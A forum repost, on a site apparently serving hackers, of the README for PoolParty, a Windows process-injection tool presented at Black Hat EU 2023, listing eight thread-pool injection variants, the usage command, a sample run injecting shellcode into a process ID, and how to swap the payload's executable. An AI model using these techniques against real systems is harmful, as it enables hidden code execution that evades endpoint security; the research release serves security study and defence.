# PoolParty | A Set Of Fully-Undetectable Process Injection Techniques Abusing Windows Thread Pools

**URL:** <https://onehack.st/t/poolparty-a-set-of-fully-undetectable-process-injection-techniques-abusing-windows-thread-pools/283501>\
**Category:** Tools & Scripts\
**Tags:** tools, hacking, windows\
**Created:** [May 27, 2024, 7:09pm UTC](https://onehack.st/t/poolparty-a-set-of-fully-undetectable-process-injection-techniques-abusing-windows-thread-pools/283501 "2024-05-27T19:09:27Z")\
**Posts on this page:** 1\
**Page:** 1

<div class="post-metadata">

**Author:** ![WhiteHat](https://onehack.st/user_avatar/onehack.st/whitehat/32/162514_2.png) [@WhiteHat](https://onehack.st/u/WhiteHat)\
**Post date:** [May 27, 2024, 7:09pm UTC](https://onehack.st/t/poolparty-a-set-of-fully-undetectable-process-injection-techniques-abusing-windows-thread-pools/283501/1 "2024-05-27T19:09:28Z")

</div>

![image](https://onehack.st/uploads/default/original/3X/b/a/ba557180b11e5777ba0203d7b7e66066f146c132.jpeg)

# PoolParty

A collection of fully-undetectable process injection techniques abusing Windows Thread Pools. Presented at Black Hat EU 2023 Briefings under the title - [**The Pool Party You Will Never Forget: New Process Injection Techniques Using Windows Thread Pools**](https://www.blackhat.com/eu-23/briefings/schedule/#the-pool-party-you-will-never-forget-new-process-injection-techniques-using-windows-thread-pools-35446)

## PoolParty Variants

| Variant ID | Varient Description |
| --- | --- |
| 1 | Overwrite the start routine of the target worker factory |
| 2 | Insert TP\_WORK work item to the target process’s thread pool |
| 3 | Insert TP\_WAIT work item to the target process’s thread pool |
| 4 | Insert TP\_IO work item to the target process’s thread pool |
| 5 | Insert TP\_ALPC work item to the target process’s thread pool |
| 6 | Insert TP\_JOB work item to the target process’s thread pool |
| 7 | Insert TP\_DIRECT work item to the target process’s thread pool |
| 8 | Insert TP\_TIMER work item to the target process’s thread pool |

## Usage

```auto
PoolParty.exe -V <VARIANT ID> -P <TARGET PID>

```

## Usage Examples

Insert TP\_TIMER work item to process ID 1234

```auto
>> PoolParty.exe -V 8 -P 1234

[info] Starting PoolParty attack against process id: 1234
[info] Retrieved handle to the target process: 00000000000000B8
[info] Hijacked worker factory handle from the target process: 0000000000000058
[info] Hijacked timer queue handle from the target process: 0000000000000054
[info] Allocated shellcode memory in the target process: 00000281DBEF0000
[info] Written shellcode to the target process
[info] Retrieved target worker factory basic information
[info] Created TP_TIMER structure associated with the shellcode
[info] Allocated TP_TIMER memory in the target process: 00000281DBF00000
[info] Written the specially crafted TP_TIMER structure to the target process
[info] Modified the target process's TP_POOL tiemr queue list entry to point to the specially crafted TP_TIMER
[info] Set the timer queue to expire to trigger the dequeueing TppTimerQueueExpiration
[info] PoolParty attack completed successfully

```

## Default Shellcode and Customization

The default shellcode spawns a calculator via the [WinExec API](https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-winexec).

To customize the executable to execute, change the path in the end of the `g_Shellcode` variable present in the main.cpp file.

## Author - Alon Leviev

- LinkedIn - [Alon Leviev](https://il.linkedin.com/in/alonleviev)
- Twitter - [@\_0xDeku](https://twitter.com/_0xDeku)

## GitHub:

> **[GitHub - SafeBreach-Labs/PoolParty: A set of fully-undetectable process injection...](https://github.com/SafeBreach-Labs/PoolParty)**
>
> A set of fully-undetectable process injection techniques abusing Windows Thread Pools